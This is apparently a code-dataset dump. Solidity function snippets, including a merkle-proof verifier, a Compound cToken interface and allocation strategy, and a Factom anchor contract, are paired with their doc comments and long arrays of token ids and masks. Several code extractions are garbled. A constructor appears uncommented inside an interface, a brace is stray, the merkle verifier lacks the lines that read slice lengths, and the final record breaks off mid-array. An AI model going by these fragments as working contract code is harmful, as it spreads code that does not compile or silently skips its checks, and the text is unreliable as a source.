} | Helper to verify a full merkle proof starting from some seedHash (usually commit). "offset" is the location of the proof beginning in the calldata. (Safe) assumption - nobody will write into RAM during this method invocation. Verify merkle proofs up to uncle block header. Calldata layout is: - 2 byte big-endian slice length - 2 byte big-endian offset to the beginning of previous slice hash within the current slice (should be zeroed) - followed by the current slice verbatim Zero slice length marks the end of uncle proof. Verify the canonical block header using the computed sha3Uncles. At this moment the canonical block hash is known. | function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
if (blobLength == 0) {
break;
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
| 1,624,886 | [
1,
2276,
358,
3929,
279,
1983,
30235,
14601,
5023,
628,
2690,
5009,
2310,
261,
407,
3452,
3294,
2934,
315,
3348,
6,
353,
326,
2117,
434,
326,
14601,
8435,
316,
326,
745,
892,
18,
261,
9890,
13,
24743,
300,
290,
947,
973,
903,
1045,
1368,
30327,
4982,
333,
707,
9495,
18,
8553,
30235,
14601,
87,
731,
358,
6301,
298,
1203,
1446,
18,
3049,
892,
3511,
353,
30,
225,
300,
576,
1160,
5446,
17,
22910,
2788,
769,
225,
300,
576,
1160,
5446,
17,
22910,
1384,
358,
326,
8435,
434,
2416,
2788,
1651,
3470,
326,
783,
2788,
261,
13139,
506,
3634,
329,
13,
225,
300,
10860,
635,
326,
783,
2788,
29526,
12744,
2788,
769,
13999,
326,
679,
434,
6301,
298,
14601,
18,
8553,
326,
7378,
1203,
1446,
1450,
326,
8470,
6056,
23,
984,
9558,
18,
2380,
333,
10382,
326,
7378,
1203,
1651,
353,
4846,
18,
2,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3929,
8478,
15609,
20439,
12,
11890,
5009,
2310,
16,
2254,
1384,
13,
16618,
3238,
1135,
261,
3890,
1578,
31493,
16,
1731,
1578,
6301,
298,
2310,
13,
288,
203,
203,
3639,
2254,
6301,
298,
1864,
1782,
31,
2254,
4795,
1782,
31,
2254,
4654,
31,
2254,
1651,
8764,
31,
203,
203,
3639,
364,
261,
25708,
1384,
1011,
4795,
1782,
13,
288,
203,
5411,
309,
261,
10721,
1782,
422,
374,
13,
288,
203,
7734,
898,
31,
203,
5411,
289,
203,
203,
5411,
2583,
261,
4012,
397,
3847,
1648,
4795,
1782,
16,
315,
10544,
4972,
866,
1199,
1769,
203,
203,
5411,
1384,
1011,
1059,
31,
203,
5411,
2583,
261,
2816,
8764,
422,
374,
16,
315,
3989,
17,
5531,
1651,
4694,
1199,
1769,
203,
203,
5411,
19931,
288,
203,
7734,
745,
892,
3530,
12,
24638,
505,
5503,
21,
16,
1384,
16,
4795,
1782,
13,
203,
7734,
312,
2233,
12,
1289,
12,
24638,
505,
5503,
21,
16,
4654,
3631,
5009,
2310,
13,
203,
7734,
5009,
2310,
519,
6056,
23,
12,
24638,
505,
5503,
21,
16,
4795,
1782,
13,
203,
7734,
6301,
298,
1864,
1782,
519,
4795,
1782,
203,
5411,
289,
203,
3639,
289,
203,
203,
203,
3639,
2583,
261,
551,
1040,
10544,
397,
6301,
298,
1864,
1782,
1648,
6301,
1040,
1782,
16,
315,
10544,
4972,
866,
1199,
1769,
203,
203,
3639,
1384,
1011,
1666,
31,
203,
3639,
1663,
71,
2074,
12,
24638,
505,
5503,
22,
397,
6301,
1040,
10544,
16,
15289,
5503,
21,
16,
6301,
298,
1864,
1782,
1769,
203,
203,
203,
3639,
1384,
1011,
6301,
1040,
1782,
2
] |
./full_match/5/0xFE3a69e277E06F5E91781D66844493B75a446AC2/sources/contracts/PoolBase.sol | * @notice Function returns cash amount (balance of currency in the pool) @return Cash amount/ | function cash() public view returns (uint256) {
return currency.balanceOf(address(this));
}
| 7,047,974 | [
1,
2083,
1135,
276,
961,
3844,
261,
12296,
434,
5462,
316,
326,
2845,
13,
327,
385,
961,
3844,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
276,
961,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
5462,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts/IAllocationStrategy.sol
pragma solidity ^0.5.8;
/**
* @notice Allocation strategy for assets.
* - It invests the underlying assets into some yield generating contracts,
* usually lending contracts, in return it gets new assets aka. saving assets.
* - Sainv assets can be redeemed back to the underlying assets plus interest any time.
*/
interface IAllocationStrategy {
/**
* @notice Underlying asset for the strategy
* @return address Underlying asset address
*/
function underlying() external view returns (address);
/**
* @notice Calculates the exchange rate from the underlying to the saving assets
* @return uint256 Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() external view returns (uint256);
/**
* @notice Applies accrued interest to all savings
* @dev This should calculates interest accrued from the last checkpointed
* block up to the current block and writes new checkpoint to storage.
* @return bool success(true) or failure(false)
*/
function accrueInterest() external returns (bool);
/**
* @notice Sender supplies underlying assets into the market and receives saving assets in exchange
* @dev Interst shall be accrued
* @param investAmount The amount of the underlying asset to supply
* @return uint256 Amount of saving assets created
*/
function investUnderlying(uint256 investAmount) external returns (uint256);
/**
* @notice Sender redeems saving assets in exchange for a specified amount of underlying asset
* @dev Interst shall be accrued
* @param redeemAmount The amount of underlying to redeem
* @return uint256 Amount of saving assets burned
*/
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: compound/contracts/CErc20Interface.sol
pragma solidity >=0.4.21 <0.6.0;
// converted from ethereum/contracts/compound/abi/CErc20.json
interface CErc20Interface {
function name() external view returns (
string memory
);
function approve(
address spender,
uint256 amount
) external returns (
bool
);
function repayBorrow(
uint256 repayAmount
) external returns (
uint256
);
function reserveFactorMantissa() external view returns (
uint256
);
function borrowBalanceCurrent(
address account
) external returns (
uint256
);
function totalSupply() external view returns (
uint256
);
function exchangeRateStored() external view returns (
uint256
);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (
bool
);
function repayBorrowBehalf(
address borrower,
uint256 repayAmount
) external returns (
uint256
);
function pendingAdmin() external view returns (
address
);
function decimals() external view returns (
uint256
);
function balanceOfUnderlying(
address owner
) external returns (
uint256
);
function getCash() external view returns (
uint256
);
function _setComptroller(
address newComptroller
) external returns (
uint256
);
function totalBorrows() external view returns (
uint256
);
function comptroller() external view returns (
address
);
function _reduceReserves(
uint256 reduceAmount
) external returns (
uint256
);
function initialExchangeRateMantissa() external view returns (
uint256
);
function accrualBlockNumber() external view returns (
uint256
);
function underlying() external view returns (
address
);
function balanceOf(
address owner
) external view returns (
uint256
);
function totalBorrowsCurrent() external returns (
uint256
);
function redeemUnderlying(
uint256 redeemAmount
) external returns (
uint256
);
function totalReserves() external view returns (
uint256
);
function symbol() external view returns (
string memory
);
function borrowBalanceStored(
address account
) external view returns (
uint256
);
function mint(
uint256 mintAmount
) external returns (
uint256
);
function accrueInterest() external returns (
uint256
);
function transfer(
address dst,
uint256 amount
) external returns (
bool
);
function borrowIndex() external view returns (
uint256
);
function supplyRatePerBlock() external view returns (
uint256
);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (
uint256
);
function _setPendingAdmin(
address newPendingAdmin
) external returns (
uint256
);
function exchangeRateCurrent() external returns (
uint256
);
function getAccountSnapshot(
address account
) external view returns (
uint256,
uint256,
uint256,
uint256
);
function borrow(
uint256 borrowAmount
) external returns (
uint256
);
function redeem(
uint256 redeemTokens
) external returns (
uint256
);
function allowance(
address owner,
address spender
) external view returns (
uint256
);
function _acceptAdmin() external returns (
uint256
);
function _setInterestRateModel(
address newInterestRateModel
) external returns (
uint256
);
function interestRateModel() external view returns (
address
);
function liquidateBorrow(
address borrower,
uint256 repayAmount,
address cTokenCollateral
) external returns (
uint256
);
function admin() external view returns (
address
);
function borrowRatePerBlock() external view returns (
uint256
);
function _setReserveFactor(
uint256 newReserveFactorMantissa
) external returns (
uint256
);
function isCToken() external view returns (
bool
);
/*
constructor(
address underlying_,
address comptroller_,
address interestRateModel_,
uint256 initialExchangeRateMantissa_,
string calldata name_,
string calldata symbol_,
uint256 decimals_
);
*/
event AccrueInterest(
uint256 interestAccumulated,
uint256 borrowIndex,
uint256 totalBorrows
);
event Mint(
address minter,
uint256 mintAmount,
uint256 mintTokens
);
event Redeem(
address redeemer,
uint256 redeemAmount,
uint256 redeemTokens
);
event Borrow(
address borrower,
uint256 borrowAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event RepayBorrow(
address payer,
address borrower,
uint256 repayAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event LiquidateBorrow(
address liquidator,
address borrower,
uint256 repayAmount,
address cTokenCollateral,
uint256 seizeTokens
);
event NewPendingAdmin(
address oldPendingAdmin,
address newPendingAdmin
);
event NewAdmin(
address oldAdmin,
address newAdmin
);
event NewComptroller(
address oldComptroller,
address newComptroller
);
event NewMarketInterestRateModel(
address oldInterestRateModel,
address newInterestRateModel
);
event NewReserveFactor(
uint256 oldReserveFactorMantissa,
uint256 newReserveFactorMantissa
);
event ReservesReduced(
address admin,
uint256 reduceAmount,
uint256 newTotalReserves
);
event Failure(
uint256 error,
uint256 info,
uint256 detail
);
event Transfer(
address from,
address to,
uint256 amount
);
event Approval(
address owner,
address spender,
uint256 amount
);
}
// File: contracts/CompoundAllocationStrategy.sol
pragma solidity ^0.5.8;
contract CompoundAllocationStrategy is IAllocationStrategy, Ownable {
CErc20Interface private cToken;
IERC20 private token;
constructor(CErc20Interface cToken_) public {
cToken = cToken_;
token = IERC20(cToken.underlying());
}
/// @dev ISavingStrategy.underlying implementation
function underlying() external view returns (address) {
return cToken.underlying();
}
/// @dev ISavingStrategy.exchangeRateStored implementation
function exchangeRateStored() external view returns (uint256) {
return cToken.exchangeRateStored();
}
/// @dev ISavingStrategy.accrueInterest implementation
function accrueInterest() external returns (bool) {
return cToken.accrueInterest() == 0;
}
/// @dev ISavingStrategy.investUnderlying implementation
function investUnderlying(uint256 investAmount) external onlyOwner returns (uint256) {
token.transferFrom(msg.sender, address(this), investAmount);
token.approve(address(cToken), investAmount);
uint256 cTotalBefore = cToken.totalSupply();
// TODO should we handle mint failure?
require(cToken.mint(investAmount) == 0, "mint failed");
uint256 cTotalAfter = cToken.totalSupply();
uint256 cCreatedAmount;
if (cTotalAfter > cTotalBefore) {
cCreatedAmount = cTotalAfter - cTotalBefore;
} // else can there be case that we mint but we get less cTokens!?\
return cCreatedAmount;
}
/// @dev ISavingStrategy.redeemUnderlying implementation
function redeemUnderlying(uint256 redeemAmount) external onlyOwner returns (uint256) {
uint256 cTotalBefore = cToken.totalSupply();
// TODO should we handle redeem failure?
require(cToken.redeemUnderlying(redeemAmount) == 0, "redeemUnderlying failed");
uint256 cTotalAfter = cToken.totalSupply();
uint256 cBurnedAmount;
if (cTotalAfter < cTotalBefore) {
cBurnedAmount = cTotalBefore - cTotalAfter;
} // else can there be case that we end up with more cTokens ?!
token.transfer(msg.sender, redeemAmount);
return cBurnedAmount;
}
} | converted from ethereum/contracts/compound/abi/CErc20.json | interface CErc20Interface {
function name() external view returns (
string memory
);
function approve(
address spender,
uint256 amount
) external returns (
bool
);
function repayBorrow(
uint256 repayAmount
) external returns (
uint256
);
function reserveFactorMantissa() external view returns (
uint256
);
function borrowBalanceCurrent(
address account
) external returns (
uint256
);
function totalSupply() external view returns (
uint256
);
function exchangeRateStored() external view returns (
uint256
);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (
bool
);
function repayBorrowBehalf(
address borrower,
uint256 repayAmount
) external returns (
uint256
);
function pendingAdmin() external view returns (
address
);
function decimals() external view returns (
uint256
);
function balanceOfUnderlying(
address owner
) external returns (
uint256
);
function getCash() external view returns (
uint256
);
function _setComptroller(
address newComptroller
) external returns (
uint256
);
function totalBorrows() external view returns (
uint256
);
function comptroller() external view returns (
address
);
function _reduceReserves(
uint256 reduceAmount
) external returns (
uint256
);
function initialExchangeRateMantissa() external view returns (
uint256
);
function accrualBlockNumber() external view returns (
uint256
);
function underlying() external view returns (
address
);
function balanceOf(
address owner
) external view returns (
uint256
);
function totalBorrowsCurrent() external returns (
uint256
);
function redeemUnderlying(
uint256 redeemAmount
) external returns (
uint256
);
function totalReserves() external view returns (
uint256
);
function symbol() external view returns (
string memory
);
function borrowBalanceStored(
address account
) external view returns (
uint256
);
function mint(
uint256 mintAmount
) external returns (
uint256
);
function accrueInterest() external returns (
uint256
);
function transfer(
address dst,
uint256 amount
) external returns (
bool
);
function borrowIndex() external view returns (
uint256
);
function supplyRatePerBlock() external view returns (
uint256
);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (
uint256
);
function _setPendingAdmin(
address newPendingAdmin
) external returns (
uint256
);
function exchangeRateCurrent() external returns (
uint256
);
function getAccountSnapshot(
address account
) external view returns (
uint256,
uint256,
uint256,
uint256
);
function borrow(
uint256 borrowAmount
) external returns (
uint256
);
function redeem(
uint256 redeemTokens
) external returns (
uint256
);
function allowance(
address owner,
address spender
) external view returns (
uint256
);
function _acceptAdmin() external returns (
uint256
);
function _setInterestRateModel(
address newInterestRateModel
) external returns (
uint256
);
function interestRateModel() external view returns (
address
);
function liquidateBorrow(
address borrower,
uint256 repayAmount,
address cTokenCollateral
) external returns (
uint256
);
function admin() external view returns (
address
);
function borrowRatePerBlock() external view returns (
uint256
);
function _setReserveFactor(
uint256 newReserveFactorMantissa
) external returns (
uint256
);
function isCToken() external view returns (
bool
);
constructor(
address underlying_,
address comptroller_,
address interestRateModel_,
uint256 initialExchangeRateMantissa_,
string calldata name_,
string calldata symbol_,
uint256 decimals_
);
event AccrueInterest(
uint256 interestAccumulated,
uint256 borrowIndex,
uint256 totalBorrows
);
event Mint(
address minter,
uint256 mintAmount,
uint256 mintTokens
);
event Redeem(
address redeemer,
uint256 redeemAmount,
uint256 redeemTokens
);
event Borrow(
address borrower,
uint256 borrowAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event RepayBorrow(
address payer,
address borrower,
uint256 repayAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event LiquidateBorrow(
address liquidator,
address borrower,
uint256 repayAmount,
address cTokenCollateral,
uint256 seizeTokens
);
event NewPendingAdmin(
address oldPendingAdmin,
address newPendingAdmin
);
event NewAdmin(
address oldAdmin,
address newAdmin
);
event NewComptroller(
address oldComptroller,
address newComptroller
);
event NewMarketInterestRateModel(
address oldInterestRateModel,
address newInterestRateModel
);
event NewReserveFactor(
uint256 oldReserveFactorMantissa,
uint256 newReserveFactorMantissa
);
event ReservesReduced(
address admin,
uint256 reduceAmount,
uint256 newTotalReserves
);
event Failure(
uint256 error,
uint256 info,
uint256 detail
);
event Transfer(
address from,
address to,
uint256 amount
);
event Approval(
address owner,
address spender,
uint256 amount
);
}
}
| 15,807,932 | [
1,
6283,
329,
628,
13750,
822,
379,
19,
16351,
87,
19,
22585,
19,
21457,
19,
1441,
1310,
3462,
18,
1977,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
29538,
1310,
3462,
1358,
288,
203,
203,
565,
445,
508,
1435,
3903,
1476,
1135,
261,
203,
3639,
533,
3778,
203,
565,
11272,
203,
203,
565,
445,
6617,
537,
12,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
3903,
1135,
261,
203,
3639,
1426,
203,
565,
11272,
203,
203,
565,
445,
2071,
528,
38,
15318,
12,
203,
3639,
2254,
5034,
2071,
528,
6275,
203,
565,
262,
3903,
1135,
261,
203,
3639,
2254,
5034,
203,
565,
11272,
203,
203,
565,
445,
20501,
6837,
49,
970,
21269,
1435,
3903,
1476,
1135,
261,
203,
3639,
2254,
5034,
203,
565,
11272,
203,
203,
565,
445,
29759,
13937,
3935,
12,
203,
3639,
1758,
2236,
203,
565,
262,
3903,
1135,
261,
203,
3639,
2254,
5034,
203,
565,
11272,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
3903,
1476,
1135,
261,
203,
3639,
2254,
5034,
203,
565,
11272,
203,
203,
565,
445,
7829,
4727,
18005,
1435,
3903,
1476,
1135,
261,
203,
3639,
2254,
5034,
203,
565,
11272,
203,
203,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
1705,
16,
203,
3639,
1758,
3046,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
3903,
1135,
261,
203,
3639,
1426,
203,
565,
11272,
203,
203,
565,
445,
2071,
528,
38,
15318,
1919,
20222,
12,
203,
3639,
1758,
29759,
264,
16,
203,
3639,
2254,
5034,
2071,
528,
6275,
203,
565,
262,
3903,
1135,
261,
203,
3639,
2254,
5034,
203,
565,
11272,
203,
203,
565,
445,
4634,
4446,
1435,
3903,
1476,
1135,
261,
203,
3639,
1758,
203,
565,
11272,
2
] |
pragma solidity ^0.4.0;
contract FactomAnchor {
struct Anchor {
uint256 KeyMR;
}
/*Public accessors!*/
/*http://solidity.readthedocs.io/en/latest/contracts.html?highlight=accessor#accessor-functions*/
address public creator;
mapping(uint256 => Anchor) public anchors;
string[] public debug;
//Contract initialization
function FactomAnchor() {
creator = msg.sender;
}
/*******************************Modifiers*******************************/
modifier onlyCrator {
//only crator can perform some actions until it disables itself
if (msg.sender != creator) {
Debug("Not creator");
throw;
}
Debug("Creator");
_;
}
/*********************************Events********************************/
function Debug(string message) {
var id = debug.length++;
debug[id] = message;
}
/*******************************Functions*******************************/
//Set Factom anchors
function setAnchor(uint256 blockNumber, uint256 keyMR) onlyCrator {
Debug("setAnchor");
anchors[blockNumber].KeyMR = keyMR;
}
}
| only crator can perform some actions until it disables itself | modifier onlyCrator {
if (msg.sender != creator) {
Debug("Not creator");
throw;
}
Debug("Creator");
_;
}
| 952,286 | [
1,
3700,
4422,
639,
848,
3073,
2690,
4209,
3180,
518,
24960,
6174,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
